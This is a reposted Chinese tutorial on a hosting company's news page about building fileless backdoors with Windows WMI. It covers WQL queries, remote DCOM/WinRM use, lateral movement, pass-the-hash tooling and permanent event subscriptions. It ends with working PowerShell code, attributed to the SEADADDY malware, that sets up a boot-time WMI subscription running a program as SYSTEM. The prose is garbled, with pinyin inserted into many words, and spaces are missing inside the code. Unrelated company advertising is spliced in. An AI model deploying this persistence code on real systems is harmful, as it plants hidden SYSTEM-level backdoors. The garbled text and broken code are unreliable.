新聞中心
這篇文章將為大家詳細(xì)講解有關(guān)如何利用WMI構(gòu)建無(wú)文件后門(mén),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。
讓客戶(hù)滿(mǎn)意是我們工作的目標(biāo),不斷超越客戶(hù)的期望值來(lái)自于我們對(duì)這個(gè)行業(yè)的熱愛(ài)。我們立志把好的技術(shù)通過(guò)有效、簡(jiǎn)單的方式提供給客戶(hù),將通過(guò)不懈努力成為客戶(hù)在信息化領(lǐng)域值得信任、有價(jià)值的長(zhǎng)期合作伙伴,公司提供的服務(wù)項(xiàng)目有:域名申請(qǐng)、虛擬空間、營(yíng)銷(xiāo)軟件、網(wǎng)站建設(shè)、臨淄網(wǎng)站維護(hù)、網(wǎng)站推廣。
簡(jiǎn)介
隨著技術(shù)的更新?lián)Q代,很多技術(shù)在Windows系統(tǒng)中被引進(jìn)和棄用,但是有一種非常強(qiáng)大的技術(shù)卻保留了下來(lái),自Windows NT 4.0和Windows 95開(kāi)始就一直延續(xù)下來(lái),那就是Windows Management Instrumentation (WMI)
,即Windows管理工具。現(xiàn)在所有的Windows系統(tǒng)中都有這個(gè)工具,利用它包含的工具集,我們可以管理本地或遠(yuǎn)程的計(jì)算機(jī)。
它不僅僅被系統(tǒng)管理員熟知,更因?yàn)?code>Stuxnet利用WMI來(lái)進(jìn)行攻擊的原因而被廣大安全人員所知。由于WMI能夠提供系統(tǒng)信息收集,防病毒檢測(cè),代碼執(zhí)行,橫向移動(dòng),持久化和盜取數(shù)據(jù)的能力而很受黑客的歡迎。
隨著黑客越來(lái)越多的使用WMI技術(shù),了解WMI知識(shí)并為已所用,對(duì)防御者來(lái)說(shuō)就非常重要。
這個(gè)文章主要向讀者介紹WMI的主要功能,攻擊者如何使用WMI,如何通過(guò)WMI繞過(guò)IDS以及如何通過(guò)WMI Repository做取證。
WMI Architecture(架構(gòu))
WMI是Windows對(duì)WBEM
和CID
標(biāo)準(zhǔn)的實(shí)現(xiàn)。兩個(gè)標(biāo)準(zhǔn)目的是在企業(yè)環(huán)境中提供一個(gè)行業(yè)無(wú)關(guān)的,用于收集和傳輸Managed Component
(管理組件)信息的方法。
一個(gè)WMI的管理組件可以是一個(gè)進(jìn)程,一個(gè)注冊(cè)表的鍵,一個(gè)安裝的服務(wù)或一個(gè)文件信息,等等。這些標(biāo)準(zhǔn)用來(lái)溝通確定實(shí)現(xiàn)者應(yīng)該使用什么方法來(lái)query
(查詢(xún)),populate
(填充),structure
(構(gòu)造),transmit
(傳輸),perform actions on
(執(zhí)行操作)和consume data
(處理數(shù)據(jù))。
Managed Components(管理組件)
管理組件即WMI的對(duì)象,是代表著高度結(jié)構(gòu)化的操作系統(tǒng)數(shù)據(jù)的Class Instances
(類(lèi)實(shí)例)。Microsoft提供了非常多的WMI對(duì)象來(lái)提供有關(guān)系統(tǒng)的信息,比如Win32_Process
,Win32_Service
,AntiVirusProduct
,Win32_StartupCommand
等。
Consuming Data(數(shù)據(jù)處理)
Microsoft提供了一些用來(lái)處理WMI數(shù)據(jù)和執(zhí)行WMI命令的方法。例如,PowerShell
提供給了我們一個(gè)非常簡(jiǎn)單的與PowerShell交互的方式。
Querying Data(數(shù)據(jù)查詢(xún))
所有的WMI對(duì)象可以通過(guò)一個(gè)叫WQL
的查詢(xún)語(yǔ)言來(lái)查詢(xún),這種語(yǔ)言與SQL相似,能夠讓我們精細(xì)地控制返回給用戶(hù)的WMI對(duì)象。
Populating Data(數(shù)據(jù)填充)
當(dāng)用戶(hù)請(qǐng)求一個(gè)WMI對(duì)象時(shí),WMI服務(wù)(Winmgmt)需要知道請(qǐng)求對(duì)象的數(shù)據(jù)填充方式。這個(gè)功能是通過(guò)WMI Providers
(WMI提供者)來(lái)完成的。一個(gè)WMI提供者就是一個(gè)在注冊(cè)表中擁有相關(guān)GUID
的注冊(cè)表鍵。WMI提供者在數(shù)據(jù)填充時(shí),做了大量的動(dòng)作,比如查詢(xún)所有進(jìn)程,枚舉注冊(cè)表鍵等。
當(dāng)WMI服務(wù)填充一個(gè)WMI對(duì)象時(shí),會(huì)有兩種類(lèi)實(shí)例:Dynamic Object
(動(dòng)態(tài)對(duì)象)和Persistent Object
(永久化對(duì)象)。
動(dòng)態(tài)對(duì)象是在進(jìn)行查詢(xún)時(shí)生成的,例如,Win32_Process就是一個(gè)動(dòng)態(tài)對(duì)象。
永久化對(duì)象是存儲(chǔ)在CIM Repository
(CIM庫(kù))中的,默認(rèn)放在%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA
中。
Structuring Data(構(gòu)造數(shù)據(jù))
WMI對(duì)象大部分的結(jié)構(gòu)是通過(guò)Managed Object Format (MOF)
(管理對(duì)象格式)文件中描述的。MOF文件使用類(lèi)似C++的語(yǔ)法來(lái)描述WMI對(duì)象。
當(dāng)WMI提供者生成原始數(shù)據(jù)時(shí),MOF文件對(duì)提供了這些數(shù)據(jù)的構(gòu)造結(jié)構(gòu)。從防御者的角度看,值得注意的是,WMI對(duì)象的定義可以不通過(guò)MOF文件,攻擊者可以通過(guò)在CIM庫(kù)中插入.Net
代碼來(lái)定義。
Transmitting Data(數(shù)據(jù)傳輸)
Microsoft提供了兩種用于遠(yuǎn)程傳輸WMI數(shù)據(jù)的方法:DCOM
和Windows Remote Management (WinRM)
。
Performing Actions(執(zhí)行操作)
一些WMI對(duì)象包含一些可執(zhí)行的方法/函數(shù)。例如,Win32_Process類(lèi)的靜態(tài)函數(shù)Create
就經(jīng)常被黑客用來(lái)做內(nèi)網(wǎng)中的橫向移動(dòng)。
WMI還提供了一個(gè)Eventing System
(事件系統(tǒng)),用戶(hù)可以注冊(cè)在WMI對(duì)象生成,修改或刪除時(shí)執(zhí)行的事件處理程序。
WMI 類(lèi)和命名空間
操作系統(tǒng)信息是通過(guò)WMI對(duì)象的方式表示的。一個(gè)WMI對(duì)象也就是一個(gè)WMI類(lèi)的實(shí)例。大多數(shù)常用的WMI類(lèi)在MSDN中都有詳細(xì)的描述,如Win32_Process類(lèi)。然而還有很多WMI類(lèi)并沒(méi)有文檔可查,但是幸運(yùn)的是,我們可以通過(guò)WQL來(lái)查詢(xún)所有的WMI類(lèi)。
與傳統(tǒng)的面向?qū)ο缶幊陶Z(yǔ)言相似,WMI類(lèi)被分類(lèi)分層的放在命名空間中。所有的命名空間都是從ROOT
命名空間下的,當(dāng)不指定命名空間進(jìn)行查詢(xún)時(shí),Microsoft會(huì)使用ROOT\CIMV2
作為默認(rèn)的命名空間。
所有的WMI設(shè)置,包括默認(rèn)命名空間在下面的注冊(cè)表鍵中:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
下面的PowerShell代碼會(huì)遞歸查詢(xún)所有的WMI類(lèi)及其命名空間:
functionGet-WmiNamespace{
Param($Namespace='ROOT')
Get-WmiObject-Namespace $Namespace-Class __NAMESPACE|ForEach-Object{
($ns='{0}\{1}'-f $_.__NAMESPACE, $_.Name)
Get-WmiNamespace-Namespace $ns
}
}
$WmiClasses=Get-WmiNamespace|ForEach-Object{
$Namespace= $_
Get-WmiObject-Namespace $Namespace-List|
ForEach-Object{ $_.Path.Path}
}|Sort-Object-Unique
返回的WMI Class 路徑如下:
...
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__AbsoluteTimerInstruction
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ACE
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__AggregateEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassCreationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassDeletionEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassModificationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassOperationEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ClassProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ConsumerFailureEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__Event
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventConsumer
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventConsumerProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventDroppedEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventFilter
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventGenerator
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventProviderRegistration
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__EventQueueOverflowEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ExtendedStatus
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__ExtrinsicEvent
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__FilterToConsumerBinding
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__IndicationRelated
\\WIN-Q4UUJ0BPKL9\ROOT\CIMV2:__InstanceCreationEvent
...
查詢(xún)WMI
WMI提供了一種非常直觀的語(yǔ)法用來(lái)查詢(xún)WMI對(duì)象的實(shí)例,類(lèi)和命名空間,即WQL
。WQL查詢(xún)通常可以分為以下幾類(lèi):
Instance Queries(實(shí)例查詢(xún)):查詢(xún)WMI對(duì)象實(shí)例。
Event Queries(事件查詢(xún)):等同于在WMI對(duì)象創(chuàng)建/修改/刪除的時(shí)候注冊(cè)一個(gè)消息。
Meta Queries(元查詢(xún)):元查詢(xún)用來(lái)獲取WMI命名空間和類(lèi)結(jié)構(gòu)的元信息。
Instance Queries
這是最常用的WQL查詢(xún)。基本的格式如下:
SELECT [Class property name | *] FROM [CLASS NAME]
例如,下面的查詢(xún)語(yǔ)句將返回所有可執(zhí)行文件名中帶有chrome
的正在運(yùn)行的進(jìn)程:
SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
Event Queries
事件查詢(xún)被用作一種消息機(jī)制來(lái)監(jiān)聽(tīng)事件類(lèi)的觸發(fā)。通常用來(lái)在一個(gè)WMI對(duì)象實(shí)例創(chuàng)建/修改/刪除的時(shí)候給用戶(hù)發(fā)送一個(gè)消息。根據(jù)消息類(lèi)型是intrinsic
(系統(tǒng)自帶的)還是extrinsic
(第三方的),查詢(xún)語(yǔ)句格式不同:
SELECT [Class property name | *] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL]
SELECT [Class property name | *] FROM [EXTRINSIC CLASS NAME]
下面的查詢(xún)將在用戶(hù)登錄的時(shí)候被執(zhí)行:SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstanceISA 'Win32_LogonSession' AND TargetInstance.LogonType=2
下面的查詢(xún)將在用戶(hù)插入可移除設(shè)備時(shí)被執(zhí)行:SELECT * FROM Win32_VolumeChangeEvent Where EventType=2
Meta Queries
元查詢(xún)用來(lái)查詢(xún)WMI命名空間和類(lèi)結(jié)構(gòu)的信息。最常見(jiàn)的用法是用來(lái)列舉WMI命名空間的類(lèi)結(jié)構(gòu)。元查詢(xún)是實(shí)例查詢(xún)的一個(gè)子集,但是與對(duì)象查詢(xún)不同的是,我們查詢(xún)的是類(lèi)的實(shí)例的定義。格式如下:
SELECT [Class property name | *] FROM [Meta_Class | SYSTEM CLASS NAME]
下面這個(gè)語(yǔ)句會(huì)查詢(xún)所有以WIN32
開(kāi)頭的WMI的類(lèi):
SELECT * FROM Meta_Class WHERE __CLASS LIKE "Win32%"
下面這個(gè)語(yǔ)句會(huì)查詢(xún)某個(gè)命名空間下的所有命名空間:
SELECT Name FROM __NAMESPACE
注意,當(dāng)不顯示的指定命名空間時(shí),默認(rèn)的命名空間為ROOT\CIMV2
。
與WMI交互
Microsoft和一些第三方軟件開(kāi)發(fā)者為我們提供了許多能夠與WMI交互的工具。下面是部分工具的一個(gè)不完全的列表:
PowerShell
PowerShell是一個(gè)非常強(qiáng)大的腳本語(yǔ)言,其中包含很多能夠與WMI進(jìn)行交互的功能。對(duì)于PowerShell v3
版本來(lái)說(shuō),有如下:
Get-WmiObject
Get-CimAssociatedInstance
Get-CimClass
Get-CimInstance
Get-CimSession
Set-WmiInstance
Set-CimInstance
Invoke-WmiMethod
Invoke-CimMethod
New-CimInstance
New-CimSession
New-CimSessionOption
Register-CimIndicationEvent
Register-WmiEvent
Remove-CimInstance
Remove-WmiObject
Remove-CimSession
WMI命令和CIM命令的功能相似,但是在v3
版本的PowerShell中,CIM更加的靈活。使用CIM命令最大的好處就是它們可以在WinRM
和DCOM
協(xié)議下工作,而WMI命令只支持DCOM
協(xié)議。
從攻擊者的角度看,專(zhuān)門(mén)用來(lái)創(chuàng)建/修改/刪除WMI/CIM類(lèi)的命令是不存在的。但是,使用WMI可以很容易的創(chuàng)建WMI類(lèi)。
這篇文章的例子中將主要使用PowerShell,因?yàn)樗撵`活性,并且攻擊者越來(lái)越多的使用它。
wmic.exe
wmic.exe
是一款非常強(qiáng)大的用來(lái)與WMI交互的命令行工具。它有非常多而且方便的WMI對(duì)象的別名可使用,可以用來(lái)進(jìn)行更加復(fù)雜的查詢(xún)。wmic.exe
還能夠執(zhí)行WMI方法,攻擊者在做內(nèi)網(wǎng)橫向移動(dòng)時(shí),用的就是Win32_Process的Create方法。但是有一個(gè)限制就是,我們不能執(zhí)行一個(gè)接受內(nèi)置WMI對(duì)象的方法。如果PowerShell不可用,用wmic.exe來(lái)做系統(tǒng)信息收集和執(zhí)行一些基本操作還是可以的,它也是常常被滲透測(cè)試員和攻擊者使用。
wbemtest.exe
wbemtest.ext
是一款強(qiáng)大的圖形化工具,是出于診斷工具來(lái)設(shè)計(jì)的。可以用來(lái)枚舉對(duì)象實(shí)例,執(zhí)行查詢(xún),注冊(cè)事件,修改WMI對(duì)象和類(lèi),本地或遠(yuǎn)程執(zhí)行。雖然界面不是非常友好,但是對(duì)攻擊者來(lái)說(shuō),在其他工具無(wú)法使用時(shí),這個(gè)工具還是不錯(cuò)的。
WMI Explorer
WMI Explorer是Sapien公司開(kāi)發(fā)的一款商業(yè)工具,用來(lái)查找WMI類(lèi)。它擁有非常好的界面,并且可以分層瀏覽WMI庫(kù)。它不可以連接遠(yuǎn)程WMI庫(kù)并執(zhí)行查詢(xún)。
CIM Studio
CIM Studio是免費(fèi)的,來(lái)自Microsoft,可以用它方便的瀏覽WMI庫(kù),用來(lái)查找WMI類(lèi)也是不錯(cuò)的。
Windows Script Host (WSH) languages
VBScript
和JScript
,雖然Microsoft提供的這兩個(gè)腳本語(yǔ)言名聲不太好,但是就與WMI交互功能來(lái)說(shuō),它們還是很強(qiáng)大的。事實(shí)上,有一個(gè)完整的后門(mén)程序就是使用這兩種腳本語(yǔ)言開(kāi)發(fā)的,其中使用WMI功能完成了基本的C2 (Command and Control)
機(jī)制。
另外,稍后我們會(huì)詳細(xì)介紹,Event Consumer
(事件處理)接口ActiveScriptEventConsumer
,只有這兩種腳本語(yǔ)言,而這個(gè)接口對(duì)攻擊者和防御者來(lái)說(shuō)都很有價(jià)值。
不管怎樣,在那些沒(méi)有PowerShell環(huán)境的老系統(tǒng)中,VBScript和JScript還是霸主地位。
C/C++ via IWbem* COM API
請(qǐng)自行查看COM API for WMI
。如果想詳細(xì)分析包含WMI功能的惡意軟件的話,這個(gè)接口對(duì)逆向工程師來(lái)說(shuō)也很重要。
.NET using System.Management classes
.NET 類(lèi)庫(kù)在System.Management
命名空間下提供了幾個(gè)用于與WMI交互的類(lèi),使用C#等語(yǔ)言編寫(xiě)起來(lái)也很簡(jiǎn)單。在下面的例子中,這些類(lèi)會(huì)在PowerShell代碼中反復(fù)使用。
winrm.exe
winrm.exe
可以在本地或遠(yuǎn)程開(kāi)啟WinRM服務(wù)的機(jī)器上枚舉WMI對(duì)象實(shí)例,調(diào)用方法,創(chuàng)建和刪除對(duì)象實(shí)例。winrm.exe也可用來(lái)配置WinRM服務(wù)。與WMI交互的理想方法是使用CIM命令的PowerShell,但是這個(gè)可以作為替代方法。
winrm invokeCreate wmicimv2/Win32_Process@{CommandLine="notepad.exe";CurrentDirectory="C:\"}
winrm enumerate http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process
winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_OperatingSystem
wmic and wmis-pth for Linux
wmic
是一個(gè)用來(lái)執(zhí)行WMI查詢(xún)的簡(jiǎn)單的Linux命令行工具,可遠(yuǎn)程調(diào)用Win32_Process的Create方法。wmis還接收NTML哈希。
遠(yuǎn)程WMI
WMI的強(qiáng)大體現(xiàn)在通過(guò)遠(yuǎn)程操作的時(shí)候。目前,WMI支持兩種協(xié)議:DCOM
和WinRM
,使用這兩種協(xié)議可以做任何事情,包括查詢(xún)對(duì)象,注冊(cè)事件和執(zhí)行WMI類(lèi)的方法,等等。
兩種協(xié)議都對(duì)攻擊者有利,因?yàn)榉烙咄ǔ2粫?huì)檢查這兩種協(xié)議的惡意流量。利用WMI所需的東西就是可用的有權(quán)限的用戶(hù)憑證。在Linux平臺(tái)上的wmis-pth
工具中,只需要提供被攻擊者的用戶(hù)哈希即可。
DCOM (Distributed Component Object Model)
從WMI被引入的時(shí)候起,DCOM
就被當(dāng)作默認(rèn)協(xié)議。DCOM通過(guò)135端口建立TCP連接,后續(xù)的數(shù)據(jù)交換則通過(guò)隨機(jī)選擇的TCP端口傳輸。這個(gè)端口可以通過(guò)dcomcnfg.exe
進(jìn)行配置和修改,其最終是改動(dòng)如下注冊(cè)表項(xiàng):
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet - Ports (REG_MULTI_SZ)
所有的PowerShell中內(nèi)置的WMI命令都使用DCOM協(xié)議。
PS C:\Users\Michael\Desktop>Get-WmiObject-ClassWin32_Process-ComputerName WIN-Q4UUJ0BPKL9-Credential'WIN-Q4UUJ0BPKL9\Administrator'
WinRM (Windows Remote Management)
近來(lái),WinRM已經(jīng)超過(guò)了DCOM,被Windows當(dāng)作建議使用的協(xié)議。WinRM基于Web Services-Management (WSMan)
規(guī)范,是一個(gè)SOAP-based
設(shè)備管理協(xié)議。另外,PowerShell Remoting
也是基于WinRM規(guī)范的,這使得我們能夠通過(guò)PowerShell在大規(guī)模Windows企業(yè)環(huán)境中實(shí)現(xiàn)強(qiáng)大的遠(yuǎn)程管理功能。WinRM同樣支持WMI,或者說(shuō)CIM的網(wǎng)絡(luò)操作。
默認(rèn)情況下,WinRM服務(wù)開(kāi)啟并監(jiān)聽(tīng)5985/tcp
端口,而且默認(rèn)是加密的。還可以通過(guò)配置證書(shū)的方式在5986/tcp
端口實(shí)現(xiàn)HTTPS
支持。
通過(guò)GPO
,winrm.exe和PowerShell的WSMan
虛擬盤(pán)符,我們可以很方便的配置WinRM。
PS C:\Users\Michael\Desktop> lsWSMan:\localhost
WSManConfig:Microsoft.WSMan.Management\WSMan::localhost
Type Name SourceOfValue Value
---- ---- ------------- -----
System.String MaxEnvelopeSizekb 500
System.String MaxTimeoutms 60000
System.String MaxBatchItems 32000
System.String MaxProviderRequests 4294967295
Container Client
Container Service
Container Shell
Container Listener
Container Plugin
Container ClientCertificate
PowerShell提供了方便的命令去檢測(cè)WinRM服務(wù)是否處于監(jiān)聽(tīng)狀態(tài)——Test-WSMan
。
如果Test-WSMan有返回結(jié)果,則說(shuō)明WinRM服務(wù)正常,而且這個(gè)命令不需要傳入認(rèn)證信息。
PS C:\Users\Michael>Test-WSMan-ComputerName WIN-JF74R0AP7LN
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion: http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor :MicrosoftCorporation
ProductVersion : OS:0.0.0 SP:0.0Stack:3.0
如果要與運(yùn)行著WinRM服務(wù)的系統(tǒng)的WMI進(jìn)行遠(yuǎn)程交互,可用命令有兩個(gè):winrm.exe
和PowerShell的CIM命令
。
PS C:\Users\Michael> $s=New-CimSession-ComputerName win-Credential'win\Michael'-AuthenticationNegotiate
PS C:\Users\Michael>Get-CimInstance-CimSession $s-ClassNameWin32_Process
ProcessId Name HandleCount WorkingSetSize VirtualSize PSComputerName
--------- ---- ----------- -------------- ----------- --------------
0 SystemIdle P...0 24576 0 win
4 System 545 839680 4771840 win
244 smss.exe 29 1056768 5234688 win
332 csrss.exe 664 4886528 97574912 win
372 wininit.exe 76 4255744 45420544 win
380 csrss.exe 290 15814656 168321024 win
...
3528 SGTool.exe 323 21172224 180084736 win
2808 WmiApSrv.exe 121 6074368 32092160 win
WMI Eventing(WMI事件)
對(duì)攻擊者和防御者都非常強(qiáng)大的一個(gè)功能是,WMI擁有異步響應(yīng)WMI事件的能力。加上適當(dāng)?shù)漠惓L幚恚琖MI事件基本可以用來(lái)響應(yīng)所有的操作系統(tǒng)事件。
WMI事件分兩類(lèi),包括運(yùn)行在本地上下文環(huán)境當(dāng)中的單個(gè)進(jìn)程的事件和永久性WMI事件訂閱。(There are two classes of WMI events – those that run locally in the context of a single process and permanent WMI event subscriptions.)
本地事件有生命周期為進(jìn)程宿主的周期,而永久性WMI事件是存儲(chǔ)在WMI庫(kù)中,以SYSTEM權(quán)限運(yùn)行,并且重啟后依然存在。
Eventing Requirements(事件要求)
為了能夠安裝一個(gè)永久性的WMI事件訂閱,必須滿(mǎn)足三個(gè)條件:
一個(gè)事件過(guò)濾器
一個(gè)事件處理:代表一個(gè)事件觸發(fā)時(shí)啟動(dòng)的動(dòng)作
一個(gè)處理綁定的過(guò)濾器:代表將一個(gè)過(guò)濾器綁定到一個(gè)事件處理的注冊(cè)機(jī)制
Event FIlters(事件過(guò)濾器)
一個(gè)事件過(guò)濾器接收一個(gè)WMI事件查詢(xún)參數(shù),并保存到ROOT\subscription:__EventFilter
對(duì)象的一個(gè)實(shí)例中。
事件過(guò)濾器支持以下類(lèi)型的查詢(xún):
Intrinsic Events
Intrinsic Events
在當(dāng)一個(gè)WMI類(lèi)或?qū)ο髣?chuàng)建,修改,刪除的時(shí)候被觸發(fā),用來(lái)傳遞信息給啟動(dòng)計(jì)時(shí)器或要執(zhí)行的WMI方法,下面的這個(gè)Intrinsic Events在所有的WMI命名空間中都有,并以系統(tǒng)類(lèi)的形式命名(以?xún)蓚€(gè)下劃線開(kāi)頭):
__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodIvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent
這些事件都非常強(qiáng)大,因?yàn)樗鼈兛梢杂脕?lái)觸發(fā)你能想象到的任何的操作系統(tǒng)事件。例如,一個(gè)人可以通過(guò)下面的命名在用戶(hù)登陸時(shí)觸發(fā)一個(gè)事件:SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType=2
上面的查詢(xún)的意思是,在一個(gè)登陸類(lèi)型為2(交互式登陸)的Win32_LogonSession類(lèi)的實(shí)例創(chuàng)建時(shí),觸發(fā)一個(gè)事件。
由于特定Intrinsic Event的調(diào)用時(shí)間不同,我們必須在查詢(xún)中指定一個(gè)Polling Interval(時(shí)間間隔),也就是說(shuō),偶爾我們會(huì)觸發(fā)不了這樣的事件。比如一個(gè)事件查詢(xún)的目標(biāo)是一個(gè)WMI類(lèi)實(shí)例的創(chuàng)建,如果這個(gè)實(shí)例在我們指定的時(shí)間間隔內(nèi)生成并銷(xiāo)毀了,那么這個(gè)事件將不會(huì)被查詢(xún)到。
Extrinsic Events
Extrinsic Events解決了Intrinsic Events的時(shí)間間隔的問(wèn)題,因?yàn)楫?dāng)一個(gè)事件發(fā)生時(shí),一個(gè)Extrinsic Event就立即被觸發(fā)了,但劣勢(shì)是當(dāng)前的WMI中的Extrinsic Events并不多,不過(guò)現(xiàn)有有這些也很強(qiáng)大了:
ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumnChangeEvent
ROOT\DEFAULT:Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
下面的命令可以查詢(xún)到用戶(hù)態(tài)和內(nèi)核態(tài)下每個(gè)進(jìn)程的所有模塊:SELECT * FROM Win32_ModuleLoadTrace
Event Consumers(事件處理)
一個(gè)Event Consumer代表當(dāng)一個(gè)事件觸發(fā)時(shí)進(jìn)行的操作。可用的標(biāo)準(zhǔn)事件處理類(lèi):
LogFileEventConsumer: 將事件數(shù)據(jù)寫(xiě)入到指定的日志文件
ActiveScriptEventConsumer: 用來(lái)執(zhí)行VBScript/JScript程序
NTEventLogEventConsumer:創(chuàng)建一個(gè)包含事件數(shù)據(jù)的日志入口點(diǎn)
SMTPEventConsumer:將事件數(shù)據(jù)用郵件發(fā)送
CommandLineEventConsumer:執(zhí)行一條命令
可以想象到,ActiveScriptEventConsumer和CommandLineEventConsumer類(lèi)應(yīng)該是攻擊者處理事件時(shí)使用最頻繁的。這兩個(gè)事件處理類(lèi)給攻擊都提供了一種無(wú)文件式的執(zhí)行任意代碼的靈活性。
所有的事件處理類(lèi)都在從__EventConsumer
類(lèi)繼承而來(lái)的。
惡意WMI持久化實(shí)例
下面的PowerShell代碼來(lái)自一個(gè)叫SEADADDY的惡意軟件的修改版,用來(lái)通過(guò)WMI做持久化的。其中,事件過(guò)濾是從PowerSploit的持久化模塊,用于在系統(tǒng)啟動(dòng)時(shí)觸發(fā),事件處理則以SYSTEM權(quán)限執(zhí)行一個(gè)程序。
$filterName='BotFilter82'
$consumerName='BotConsumer23'
$exePath='C:\Windows\System32\evil.exe'
$Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"
$WMIEventFilter=Set-WmiInstance-Class __EventFilter-NameSpace"root\subscription"-Arguments@{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}-ErrorActionStop
$WMIEventConsumer=Set-WmiInstance-ClassCommandLineEventConsumer-Namespace"root\subscription"-Arguments@{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance-Class __FilterToConsumerBinding-Namespace"root\subscription"-Arguments@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
關(guān)于如何利用WMI構(gòu)建無(wú)文件后門(mén)就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。
名稱(chēng)欄目:如何利用WMI構(gòu)建無(wú)文件后門(mén)
當(dāng)前路徑:http://www.ef60e0e.cn/article/ijedsc.html